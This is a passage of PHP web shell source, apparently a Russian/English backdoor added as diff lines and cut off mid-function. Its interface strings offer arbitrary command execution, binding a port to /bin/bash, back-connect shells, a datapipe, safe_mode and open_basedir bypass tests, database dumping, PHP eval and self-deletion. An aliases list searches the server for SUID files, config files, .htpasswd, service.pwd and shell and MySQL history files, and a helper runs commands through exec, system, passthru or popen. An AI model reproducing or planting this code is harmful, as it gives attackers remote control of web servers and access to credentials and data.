+'ru_text33'=>'&#1055;&#1088;&#1086;&#1074;&#1077;&#1088;&#1082;&#1072; &#1074;&#1086;&#1079;&#1084;&#1086;&#1078;&#1085;&#1086;&#1089;&#1090;&#1080; &#1086;&#1073;&#1093;&#1086;&#1076;&#1072; &#1086;&#1075;&#1088;&#1072;&#1085;&#1080;&#1095;&#1077;&#1085;&#1080;&#1081; open_basedir &#1095;&#1077;&#1088;&#1077;&#1079; &#1092;&#1091;&#1085;&#1082;&#1094;&#1080;&#1080; cURL', +'ru_butt8' =>'&#1055;&#1088;&#1086;&#1074;&#1077;&#1088;&#1080;&#1090;&#1100;', +'ru_text34'=>'&#1055;&#1088;&#1086;&#1074;&#1077;&#1088;&#1082;&#1072; &#1074;&#1086;&#1079;&#1084;&#1086;&#1078;&#1085;&#1086;&#1089;&#1090;&#1080; &#1086;&#1073;&#1093;&#1086;&#1076;&#1072; &#1086;&#1075;&#1088;&#1072;&#1085;&#1080;&#1095;&#1077;&#1085;&#1080;&#1081; safe_mode &#1095;&#1077;&#1088;&#1077;&#1079; &#1092;&#1091;&#1085;&#1082;&#1094;&#1080;&#1102; include', +'ru_text35'=>'&#1055;&#1088;&#1086;&#1074;&#1077;&#1088;&#1082;&#1072; &#1074;&#1086;&#1079;&#1084;&#1086;&#1078;&#1085;&#1086;&#1089;&#1090;&#1080; &#1086;&#1073;&#1093;&#1086;&#1076;&#1072; &#1086;&#1075;&#1088;&#1072;&#1085;&#1080;&#1095;&#1077;&#1085;&#1080;&#1081; safe_mode &#1095;&#1077;&#1088;&#1077;&#1079; &#1079;&#1072;&#1075;&#1088;&#1091;&#1079;&#1082;&#1091; &#1092;&#1072;&#1081;&#1083;&#1072; &#1074; mysql', +'ru_text36'=>'&#1041;&#1072;&#1079;&#1072;', +'ru_text37'=>'&#1051;&#1086;&#1075;&#1080;&#1085;', +'ru_text38'=>'&#1055;&#1072;&#1088;&#1086;&#1083;&#1100;', +'ru_text39'=>'&#1058;&#1072;&#1073;&#1083;&#1080;&#1094;&#1072;', +'ru_text40'=>'&#1044;&#1072;&#1084;&#1087; &#1090;&#1072;&#1073;&#1083;&#1080;&#1094;&#1099; &#1073;&#1072;&#1079;&#1099; &#1076;&#1072;&#1085;&#1085;&#1099;&#1093;', +'ru_butt9' =>'&#1044;&#1072;&#1084;&#1087;', +'ru_text41'=>'&#1057;&#1086;&#1093;&#1088;&#1072;&#1085;&#1080;&#1090;&#1100; &#1074; &#1092;&#1072;&#1081;&#1083;&#1077;', +'ru_text42'=>'&#1056;&#1077;&#1076;&#1072;&#1082;&#1090;&#1080;&#1088;&#1086;&#1074;&#1072;&#1085;&#1080;&#1077; &#1092;&#1072;&#1081;&#1083;&#1072;', +'ru_text43'=>'&#1056;&#1077;&#1076;&#1072;&#1082;&#1090;&#1080;&#1088;&#1086;&#1074;&#1072;&#1090;&#1100; &#1092;&#1072;&#1081;&#1083;', +'ru_butt10'=>'&#1057;&#1086;&#1093;&#1088;&#1072;&#1085;&#1080;&#1090;&#1100;', +'ru_butt11'=>'&#1056;&#1077;&#1076;&#1072;&#1082;&#1090;&#1080;&#1088;&#1086;&#1074;&#1072;&#1090;&#1100;', +'ru_text44'=>'&#1056;&#1077;&#1076;&#1072;&#1082;&#1090;&#1080;&#1088;&#1086;&#1074;&#1072;&#1085;&#1080;&#1077; &#1092;&#1072;&#1081;&#1083;&#1072; &#1085;&#1077;&#1074;&#1086;&#1079;&#1084;&#1086;&#1078;&#1085;&#1086;! &#1044;&#1086;&#1089;&#1090;&#1091;&#1087; &#1090;&#1086;&#1083;&#1100;&#1082;&#1086; &#1076;&#1083;&#1103; &#1095;&#1090;&#1077;&#1085;&#1080;&#1103;!', +'ru_text45'=>'&#1060;&#1072;&#1081;&#1083; &#1089;&#1086;&#1093;&#1088;&#1072;&#1085;&#1077;&#1085;', +'ru_text46'=>'&#1055;&#1088;&#1086;&#1089;&#1084;&#1086;&#1090;&#1088; phpinfo()', +'ru_text47'=>'&#1055;&#1088;&#1086;&#1089;&#1084;&#1086;&#1090;&#1088; &#1085;&#1072;&#1089;&#1090;&#1088;&#1086;&#1077;&#1082; php.ini', +'ru_text48'=>'&#1059;&#1076;&#1072;&#1083;&#1077;&#1085;&#1080;&#1077; &#1074;&#1088;&#1077;&#1084;&#1077;&#1085;&#1085;&#1099;&#1093; &#1092;&#1072;&#1081;&#1083;&#1086;&#1074;', +'ru_text49'=>'&#1059;&#1076;&#1072;&#1083;&#1077;&#1085;&#1080;&#1077; &#1089;&#1082;&#1088;&#1080;&#1087;&#1090;&#1072; &#1089; &#1089;&#1077;&#1088;&#1074;&#1077;&#1088;&#1072;', +'ru_text50'=>'&#1048;&#1085;&#1092;&#1086;&#1088;&#1084;&#1072;&#1094;&#1080;&#1103; &#1086; &#1087;&#1088;&#1086;&#1094;&#1077;&#1089;&#1089;&#1086;&#1088;&#1077;', +'ru_text51'=>'&#1048;&#1085;&#1092;&#1086;&#1088;&#1084;&#1072;&#1094;&#1080;&#1103; &#1086; &#1087;&#1072;&#1084;&#1103;&#1090;&#1080;', +'ru_text52'=>'&#1058;&#1077;&#1082;&#1089;&#1090; &#1076;&#1083;&#1103; &#1087;&#1086;&#1080;&#1089;&#1082;&#1072;', +'ru_text53'=>'&#1048;&#1089;&#1082;&#1072;&#1090;&#1100; &#1074; &#1087;&#1072;&#1087;&#1082;&#1077;', +'ru_text54'=>'&#1055;&#1086;&#1080;&#1089;&#1082; &#1090;&#1077;&#1082;&#1089;&#1090;&#1072; &#1074; &#1092;&#1072;&#1081;&#1083;&#1072;&#1093;', +'ru_butt12'=>'&#1053;&#1072;&#1081;&#1090;&#1080;', +'ru_text55'=>'&#1058;&#1086;&#1083;&#1100;&#1082;&#1086; &#1074; &#1092;&#1072;&#1081;&#1083;&#1072;&#1093;', +'ru_text56'=>'&#1053;&#1080;&#1095;&#1077;&#1075;&#1086; &#1085;&#1077; &#1085;&#1072;&#1081;&#1076;&#1077;&#1085;&#1086;', +'ru_text57'=>'&#1057;&#1086;&#1079;&#1076;&#1072;&#1090;&#1100;/&#1059;&#1076;&#1072;&#1083;&#1080;&#1090;&#1100; &#1060;&#1072;&#1081;&#1083;/&#1044;&#1080;&#1088;&#1077;&#1082;&#1090;&#1086;&#1088;&#1080;&#1102;', +'ru_text58'=>'&#1048;&#1084;&#1103;', +'ru_text59'=>'&#1060;&#1072;&#1081;&#1083;', +'ru_text60'=>'&#1044;&#1080;&#1088;&#1077;&#1082;&#1090;&#1086;&#1088;&#1080;&#1102;', +'ru_butt13'=>'&#1057;&#1086;&#1079;&#1076;&#1072;&#1090;&#1100;/&#1059;&#1076;&#1072;&#1083;&#1080;&#1090;&#1100;', +'ru_text61'=>'&#1060;&#1072;&#1081;&#1083; &#1089;&#1086;&#1079;&#1076;&#1072;&#1085;', +'ru_text62'=>'&#1044;&#1080;&#1088;&#1077;&#1082;&#1090;&#1086;&#1088;&#1080;&#1103; &#1089;&#1086;&#1079;&#1076;&#1072;&#1085;&#1072;', +'ru_text63'=>'&#1060;&#1072;&#1081;&#1083; &#1091;&#1076;&#1072;&#1083;&#1077;&#1085;', +'ru_text64'=>'&#1044;&#1080;&#1088;&#1077;&#1082;&#1090;&#1086;&#1088;&#1080;&#1103; &#1091;&#1076;&#1072;&#1083;&#1077;&#1085;&#1072;', +'ru_text65'=>'&#1057;&#1086;&#1079;&#1076;&#1072;&#1090;&#1100;', +'ru_text66'=>'&#1059;&#1076;&#1072;&#1083;&#1080;&#1090;&#1100;', +'ru_text67'=>'Chown/Chgrp/Chmod', +'ru_text68'=>'&#1050;&#1086;&#1084;&#1072;&#1085;&#1076;&#1072;', +'ru_text69'=>'&#1055;&#1072;&#1088;&#1072;&#1084;&#1077;&#1090;&#1088;1', +'ru_text70'=>'&#1055;&#1072;&#1088;&#1072;&#1084;&#1077;&#1090;&#1088;2', +'ru_text71'=>"&#1042;&#1090;&#1086;&#1088;&#1086;&#1081; &#1087;&#1072;&#1088;&#1072;&#1084;&#1077;&#1090;&#1088; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1099;:\r\n- &#1076;&#1083;&#1103; CHOWN - &#1080;&#1084;&#1103; &#1085;&#1086;&#1074;&#1086;&#1075;&#1086; &#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1090;&#1077;&#1083;&#1103; &#1080;&#1083;&#1080; &#1077;&#1075;&#1086; UID (&#1095;&#1080;&#1089;&#1083;&#1086;&#1084;) \r\n- &#1076;&#1083;&#1103; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1099; CHGRP - &#1080;&#1084;&#1103; &#1075;&#1088;&#1091;&#1087;&#1087;&#1099; &#1080;&#1083;&#1080; GID (&#1095;&#1080;&#1089;&#1083;&#1086;&#1084;) \r\n- &#1076;&#1083;&#1103; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1099; CHMOD - &#1094;&#1077;&#1083;&#1086;&#1077; &#1095;&#1080;&#1089;&#1083;&#1086; &#1074; &#1074;&#1086;&#1089;&#1100;&#1084;&#1077;&#1088;&#1080;&#1095;&#1085;&#1086;&#1084; &#1087;&#1088;&#1077;&#1076;&#1089;&#1090;&#1072;&#1074;&#1083;&#1077;&#1085;&#1080;&#1080; (&#1085;&#1072;&#1087;&#1088;&#1080;&#1084;&#1077;&#1088; 0777)", +'ru_text72'=>'&#1058;&#1077;&#1082;&#1089;&#1090; &#1076;&#1083;&#1103; &#1087;&#1086;&#1080;&#1089;&#1082;&#1072;', +'ru_text73'=>'&#1048;&#1089;&#1082;&#1072;&#1090;&#1100; &#1074; &#1087;&#1072;&#1087;&#1082;&#1077;', +'ru_text74'=>'&#1048;&#1089;&#1082;&#1072;&#1090;&#1100; &#1074; &#1092;&#1072;&#1081;&#1083;&#1072;&#1093;', +'ru_text75'=>'* &#1084;&#1086;&#1078;&#1085;&#1086; &#1080;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1090;&#1100; &#1088;&#1077;&#1075;&#1091;&#1083;&#1103;&#1088;&#1085;&#1086;&#1077; &#1074;&#1099;&#1088;&#1072;&#1078;&#1077;&#1085;&#1080;&#1077;', +'ru_text76'=>'&#1055;&#1086;&#1080;&#1089;&#1082; &#1090;&#1077;&#1082;&#1089;&#1090;&#1072; &#1074; &#1092;&#1072;&#1081;&#1083;&#1072;&#1093; &#1089; &#1087;&#1086;&#1084;&#1086;&#1097;&#1100;&#1102; &#1091;&#1090;&#1080;&#1083;&#1080;&#1090;&#1099; find', +'ru_text77'=>'&#1055;&#1088;&#1086;&#1089;&#1084;&#1086;&#1090;&#1088; &#1089;&#1090;&#1088;&#1091;&#1082;&#1090;&#1091;&#1088;&#1099; &#1073;&#1072;&#1079;&#1099; &#1076;&#1072;&#1085;&#1085;&#1099;&#1093;', +'ru_text78'=>'&#1055;&#1086;&#1082;&#1072;&#1079;&#1099;&#1074;&#1072;&#1090;&#1100; &#1090;&#1072;&#1073;&#1083;&#1080;&#1094;&#1099;', +'ru_text79'=>'&#1055;&#1086;&#1082;&#1072;&#1079;&#1099;&#1074;&#1072;&#1090;&#1100; &#1089;&#1090;&#1086;&#1083;&#1073;&#1094;&#1099;', +'ru_text80'=>'&#1058;&#1080;&#1087;', +'ru_text81'=>'&#1057;&#1077;&#1090;&#1100;', +'ru_text82'=>'&#1041;&#1072;&#1079;&#1099; &#1076;&#1072;&#1085;&#1085;&#1099;&#1093;', +'ru_text83'=>'&#1042;&#1099;&#1087;&#1086;&#1083;&#1085;&#1077;&#1085;&#1080;&#1077; SQL &#1079;&#1072;&#1087;&#1088;&#1086;&#1089;&#1072;', +'ru_text84'=>'SQL &#1079;&#1072;&#1087;&#1088;&#1086;&#1089;', +'ru_text85'=>'&#1055;&#1088;&#1086;&#1074;&#1077;&#1088;&#1082;&#1072; &#1074;&#1086;&#1079;&#1084;&#1086;&#1078;&#1085;&#1086;&#1089;&#1090;&#1080; &#1086;&#1073;&#1093;&#1086;&#1076;&#1072; &#1086;&#1075;&#1088;&#1072;&#1085;&#1080;&#1095;&#1077;&#1085;&#1080;&#1081; safe_mode &#1095;&#1077;&#1088;&#1077;&#1079; &#1074;&#1099;&#1087;&#1086;&#1083;&#1085;&#1077;&#1085;&#1080;&#1077; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076; &#1074; MSSQL &#1089;&#1077;&#1088;&#1074;&#1077;&#1088;&#1077;', +/* --------------------------------------------------------------- */ +'eng_text1' =>'Executed command', +'eng_text2' =>'Execute command on server', +'eng_text3' =>'Run command', +'eng_text4' =>'Work directory', +'eng_text5' =>'Upload files on server', +'eng_text6' =>'Local file', +'eng_text7' =>'Aliases', +'eng_text8' =>'Select alias', +'eng_butt1' =>'Execute', +'eng_butt2' =>'Upload', +'eng_text9' =>'Bind port to /bin/bash', +'eng_text10'=>'Port', +'eng_text11'=>'Password for access', +'eng_butt3' =>'Bind', +'eng_text12'=>'back-connect', +'eng_text13'=>'IP', +'eng_text14'=>'Port', +'eng_butt4' =>'Connect', +'eng_text15'=>'Upload files from remote server', +'eng_text16'=>'With', +'eng_text17'=>'Remote file', +'eng_text18'=>'Local file', +'eng_text19'=>'Exploits', +'eng_text20'=>'Use', +'eng_text21'=>'&nbsp;New name', +'eng_text22'=>'datapipe', +'eng_text23'=>'Local port', +'eng_text24'=>'Remote host', +'eng_text25'=>'Remote port', +'eng_text26'=>'Use', +'eng_butt5' =>'Run', +'eng_text28'=>'Work in safe_mode', +'eng_text29'=>'ACCESS DENIED', +'eng_butt6' =>'Change', +'eng_text30'=>'Cat file', +'eng_butt7' =>'Show', +'eng_text31'=>'File not found', +'eng_text32'=>'Eval PHP code', +'eng_text33'=>'Test bypass open_basedir with cURL functions', +'eng_butt8' =>'Test', +'eng_text34'=>'Test bypass safe_mode with include function', +'eng_text35'=>'Test bypass safe_mode with load file in mysql', +'eng_text36'=>'Database', +'eng_text37'=>'Login', +'eng_text38'=>'Password', +'eng_text39'=>'Table', +'eng_text40'=>'Dump database table', +'eng_butt9' =>'Dump', +'eng_text41'=>'Save dump in file', +'eng_text42'=>'Edit files', +'eng_text43'=>'File for edit', +'eng_butt10'=>'Save', +'eng_text44'=>'Can\'t edit file! Only read access!', +'eng_text45'=>'File saved', +'eng_text46'=>'Show phpinfo()', +'eng_text47'=>'Show variables from php.ini', +'eng_text48'=>'Delete temp files', +'eng_butt11'=>'Edit file', +'eng_text49'=>'Delete script from server', +'eng_text50'=>'View cpu info', +'eng_text51'=>'View memory info', +'eng_text52'=>'Find text', +'eng_text53'=>'In dirs', +'eng_text54'=>'Find text in files', +'eng_butt12'=>'Find', +'eng_text55'=>'Only in files', +'eng_text56'=>'Nothing :(', +'eng_text57'=>'Create/Delete File/Dir', +'eng_text58'=>'name', +'eng_text59'=>'file', +'eng_text60'=>'dir', +'eng_butt13'=>'Create/Delete', +'eng_text61'=>'File created', +'eng_text62'=>'Dir created', +'eng_text63'=>'File deleted', +'eng_text64'=>'Dir deleted', +'eng_text65'=>'Create', +'eng_text66'=>'Delete', +'eng_text67'=>'Chown/Chgrp/Chmod', +'eng_text68'=>'Command', +'eng_text69'=>'param1', +'eng_text70'=>'param2', +'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", +'eng_text72'=>'Text for find', +'eng_text73'=>'Find in folder', +'eng_text74'=>'Find in files', +'eng_text75'=>'* you can use regexp', +'eng_text76'=>'Search text in files via find', +'eng_text77'=>'Show database structure', +'eng_text78'=>'show tables', +'eng_text79'=>'show columns', +'eng_text80'=>'Type', +'eng_text81'=>'Net', +'eng_text82'=>'Databases', +'eng_text83'=>'Run SQL query', +'eng_text84'=>'SQL query', +); +/* +&#1040;&#1083;&#1080;&#1072;&#1089;&#1099; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076; +&#1055;&#1086;&#1079;&#1074;&#1086;&#1083;&#1103;&#1102;&#1090; &#1080;&#1079;&#1073;&#1077;&#1078;&#1072;&#1090;&#1100; &#1084;&#1085;&#1086;&#1075;&#1086;&#1082;&#1088;&#1072;&#1090;&#1085;&#1086;&#1075;&#1086; &#1085;&#1072;&#1073;&#1086;&#1088;&#1072; &#1086;&#1076;&#1085;&#1080;&#1093; &#1080; &#1090;&#1077;&#1093;-&#1078;&#1077; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;. ( &#1057;&#1076;&#1077;&#1083;&#1072;&#1085;&#1086; &#1073;&#1083;&#1072;&#1075;&#1086;&#1076;&#1072;&#1088;&#1103; &#1084;&#1086;&#1077;&#1081; &#1087;&#1088;&#1080;&#1088;&#1086;&#1076;&#1085;&#1086;&#1081; &#1083;&#1077;&#1085;&#1080; ) +&#1042;&#1099; &#1084;&#1086;&#1078;&#1077;&#1090;&#1077; &#1089;&#1072;&#1084;&#1080; &#1076;&#1086;&#1073;&#1072;&#1074;&#1083;&#1103;&#1090;&#1100; &#1080;&#1083;&#1080; &#1080;&#1079;&#1084;&#1077;&#1085;&#1103;&#1090;&#1100; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1099;. +*/ +$aliases=array( +'find suid files'=>'find / -type f -perm -04000 -ls', +'find suid files in current dir'=>'find . -type f -perm -04000 -ls', +'find sgid files'=>'find / -type f -perm -02000 -ls', +'find sgid files in current dir'=>'find . -type f -perm -02000 -ls', +'find config.inc.php files'=>'find / -type f -name config.inc.php', +'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php', +'find config* files'=>'find / -type f -name "config*"', +'find config* files in current dir'=>'find . -type f -name "config*"', +'find all writable files'=>'find / -type f -perm -2 -ls', +'find all writable files in current dir'=>'find . -type f -perm -2 -ls', +'find all writable directories'=>'find / -type d -perm -2 -ls', +'find all writable directories in current dir'=>'find . -type d -perm -2 -ls', +'find all writable directories and files'=>'find / -perm -2 -ls', +'find all writable directories and files in current dir'=>'find . -perm -2 -ls', +'find all service.pwd files'=>'find / -type f -name service.pwd', +'find service.pwd files in current dir'=>'find . -type f -name service.pwd', +'find all .htpasswd files'=>'find / -type f -name .htpasswd', +'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd', +'find all .bash_history files'=>'find / -type f -name .bash_history', +'find .bash_history files in current dir'=>'find . -type f -name .bash_history', +'find all .mysql_history files'=>'find / -type f -name .mysql_history', +'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history', +'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc', +'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc', +'list file attributes on a Linux second extended file system'=>'lsattr -va', +'show opened ports'=>'netstat -an | grep -i listen', +'----------------------------------------------------------------------------------------------------'=>'ls -la' +); +$table_up1 = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: "; +$table_up2 = " ::</div></b></font></td></tr><tr><td>"; +$table_up3 = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc>"; +$table_end1 = "</td></tr>"; +$arrow = " <font face=Wingdings color=gray>&#1080;</font>"; +$lb = "<font color=black>[</font>"; +$rb = "<font color=black>]</font>"; +$font = "<font face=Verdana size=-2>"; +$ts = "<table class=table1 width=100% align=center>"; +$te = "</table>"; +$fs = "<form name=form method=POST>"; +$fe = "</form>"; + +if (!empty($_POST['dir'])) { @chdir($_POST['dir']); } +$dir = @getcwd(); +$windows = 0; +$unix = 0; +if(strlen($dir)>1 && $dir[1]==":") $windows=1; else $unix=1; +if(empty($dir)) + { + $os = getenv('OS'); + if(empty($os)){ $os = php_uname(); } + if(empty($os)){ $os ="-"; $unix=1; } + else + { + if(@eregi("^win",$os)) { $windows = 1; } + else { $unix = 1; } + } + } +if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text") + { + echo $head; + if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); } + else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); } + $sr->SearchText(0,0); + $res = $sr->GetResultFiles(); + $found = $sr->GetMatchesCount(); + $titles = $sr->GetTitles(); + $r = ""; + if($found > 0) + { + $r .= "<TABLE width=100%>"; + foreach($res as $file=>$v) + { + $r .= "<TR>"; + $r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3); + $r .= ($windows)? str_replace("/","\\",$file) : $file; + $r .= "</b></font></ TD>"; + $r .= "</TR>"; + foreach($v as $a=>$b) + { + $r .= "<TR>"; + $r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>"; + $r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>"; + $r .= "</TR>\n"; + } + } + $r .= "</TABLE>"; + echo $r; + } + else + { + echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>"; + } + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +if($windows&&!$safe_mode) + { + $uname = ex("ver"); + if(empty($uname)) { $safe_mode = 1; } + } +else if($unix&&!$safe_mode) + { + $uname = ex("uname"); + if(empty($uname)) { $safe_mode = 1; } + } +$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE'); +if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; } +function ws($i) +{ +return @str_repeat("&nbsp;",$i); +} +function ex($cfe) +{ + $res = ''; + if (!empty($cfe)) + { + if(function_exists('exec')) + { + @exec($cfe,$res); + $res = join("\n",$res); + } + elseif(function_exists('shell_exec')) + { + $res = @shell_exec($cfe); + } + elseif(function_exists('system')) + { + @ob_start(); + @system($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(function_exists('passthru')) + { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@is_resource($f = @popen($cfe,"r"))) + { + $res = ""; + while(!@feof($f)) { $res .= @fread($f,1024); } + @pclose($f); + } + } + return $res; +} +function we($i) +{ +if($GLOBALS['language']=="ru"){ $text = '&#1054;&#1096;&#1080;&#1073;&#1082;&#1072;! &#1053;&#1077; &#1084;&#1086;&#1075;&#1091; &#1079;&#1072;&#1087;&#1080;&#1089;&#1072;&#1090;&#1100; &#1074; &#1092;&#1072;&#1081;&#1083; '; } +else { $text = "[-] ERROR! Can't write in file "; } +echo "<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>"; +return null; +} +function re($i) +{ +if($GLOBALS['language']=="ru"){ $text = '&#1054;&#1096;&#1080;&#1073;&#1082;&#1072;! &#1053;&#1077; &#1084;&#1086;&#1075;&#1091; &#1087;&#1088;&#1086;&#1095;&#1080;&#1090;&#1072;&#1090;&#1100; &#1092;&#1072;&#1081;&#1083; '; } +else { $text = "[-] ERROR! Can't read file "; } +echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>"; +return null; +} +function ce($i) +{ +if($GLOBALS['language']=="ru"){ $text = "&#1053;&#1077; &#1091;&#1076;&#1072;&#1083;&#1086;&#1089;&#1100; &#1089;&#1086;&#1079;&#1076;&#1072;&#1090;&#1100; "; } +else { $text = "Can't create "; } +echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>"; +return null; +} +function perms($mode) +{ +if ($GLOBALS['windows']) return 0; +if( $mode & 0x1000 ) { $type='p'; } +else if( $mode & 0x2000 ) { $type='c'; } +else if( $mode & 0x4000 ) { $type='d'; } +else if( $mode & 0x6000 ) { $type='b'; } +else if( $mode & 0x8000 ) { $type='-'; } +else if( $mode & 0xA000 ) { $type='l'; } +else if( $mode & 0xC000 ) { $type='s'; } +else $type='u'; +$owner["read"] = ($mode & 00400) ? 'r' : '-'; +$owner["write"] = ($mode & 00200) ? 'w' : '-'; +$owner["execute"] = ($mode & 00100) ? 'x' : '-'; +$group["read"] = ($mode & 00040) ? 'r' : '-'; +$group["write"] = ($mode & 00020) ? 'w' : '-'; +$group["execute"] = ($mode & 00010) ? 'x' : '-'; +$world["read"] = ($mode & 00004) ? 'r' : '-'; +$world["write"] = ($mode & 00002) ? 'w' : '-'; +$world["execute"] = ($mode & 00001) ? 'x' : '-'; +if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; +if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S'; +if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T'; +$s=sprintf("%1s", $type); +$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); +$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); +$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); +return trim($s); +} +function in($type,$name,$size,$value) +{ + $ret = "<input type=".$type." name=".$name." "; + if($size != 0) { $ret .= "size=".$size." "; } + $ret .= "value=\"".$value."\">"; + return $ret; +} +function which($pr) +{ +$path = ex("which $pr"); +if(!empty($path)) { return $path; } else { return $pr; } +} +function cf($fname,$text) +{ + $w_file=@fopen($fname,"w") or we($fname); + if($w_file) + { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +} +function sr($l,$t1,$t2) + { + return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>"; + } +if (!@function_exists("view_size")) +{ +function view_size($size) +{ + if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} + elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} + elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} + else {$size = $size . " B";} + return $size; +} +} +function DirFiles($dir,$types='') + { + $files = Array(); + if(($handle = @opendir($dir))) + { + while (FALSE !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(!is_dir($dir."/".$file)) + { + if($types) + { + $pos = @strrpos($file,"."); + $ext = @substr($file,$pos,@strlen($file)-$pos); + if(@in_array($ext,@explode(';',$types))) + $files[] = $dir."/".$file; + } + else + $files[] = $dir."/".$file; + } + } + } + @closedir($handle); + } + return $files; + } + function DirFilesWide($dir) + { + $files = Array(); + $dirs = Array(); + if(($handle = @opendir($dir))) + { + while (false !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(@is_dir($dir."/".$file)) + { + $file = @strtoupper($file); + $dirs[$file] = '&lt;DIR&gt;'; + } + else + $files[$file] = @filesize($dir."/".$file); + } + } + @closedir($handle); + @ksort($dirs); + @ksort($files); + $files = @array_merge($dirs,$files); + } + return $files; + } + function DirFilesR($dir,$types='') + { + $files = Array(); + if(($handle = @opendir($dir))) + { + while (false !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(@is_dir($dir."/".$file)) + $files = @array_merge($files,DirFilesR($dir."/".$file,$types)); + else + { + $pos = @strrpos($file,"."); + $ext = @substr($file,$pos,@strlen($file)-$pos); + if($types) + { + if(@in_array($ext,explode(';',$types))) + $files[] = $dir."/".$file; + } + else + $files[] = $dir."/".$file; + } + } + } + @closedir($handle); + } + return $files; + } + function DirPrintHTMLHeaders($dir) + { + $pockets = ''; + $handle = @opendir($dir) or die("Can't open directory $dir"); + echo " <ul style='margin-left: 0px; padding-left: 20px;'>\n"; + while (false !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(@is_dir($dir."/".$file)) + { + echo " <li><b>[ $file ]</b></li>\n"; + DirPrintHTMLHeaders($dir."/".$file); + } + else + { + $pos = @strrpos($file,"."); + $ext = @substr($file,$pos,@strlen($file)-$pos); + if(@in_array($ext,array('.htm','.html'))) + { + $header = '-=None=-'; + $strings = @file($dir."/".$file) or die("Can't open file ".$dir."/".$file); + for($a=0;$a<count($strings);$a++) + { + $pattern = '(<title>(.+)</title>)'; + if(@eregi($pattern,$strings[$a],$pockets)) + { + $header = "&laquo;".$pockets[2]."&raquo;"; + break; + } + } + echo " <li>".$header."</li>\n"; + } + } + } + } + echo " </ul>\n"; + @closedir($handle); + } + + class SearchResult + { + var $text; + var $FilesToSearch; + var $ResultFiles; + var $FilesTotal; + var $MatchesCount; + var $FileMatschesCount; + var $TimeStart; + var $TimeTotal; + var $titles; + function SearchResult($dir,$text,$filter='') + { + $dirs = @explode(";",$dir); + $this->FilesToSearch = Array(); + for($a=0;$a<count($dirs);$a++) + $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter)); + $this->text = $text; + $this->FilesTotal = @count($this->FilesToSearch); + $this->TimeStart = getmicrotime(); + $this->MatchesCount = 0; + $this->ResultFiles = Array(); + $this->FileMatchesCount = Array(); + $this->titles = Array(); + } + function GetFilesTotal() { return $this->FilesTotal; } + function GetTitles() { return $this->titles; } + function GetTimeTotal() { return $this->TimeTotal; } + function GetMatchesCount() { return $this->MatchesCount; } + function GetFileMatchesCount() { return $this->FileMatchesCount; } + function GetResultFiles() { return $this->ResultFiles; } + function SearchText($phrase=0,$case=0) { + $qq = @explode(' ',$this->text); + $delim = '|'; + if($phrase) + foreach($qq as $k=>$v) + $qq[$k] = '\b'.$v.'\b'; + $words = '('.@implode($delim,$qq).')'; + $pattern = "/".$words."/"; + if(!$case) + $pattern .= 'i'; + foreach($this->FilesToSearch as $k=>$filename) + { + 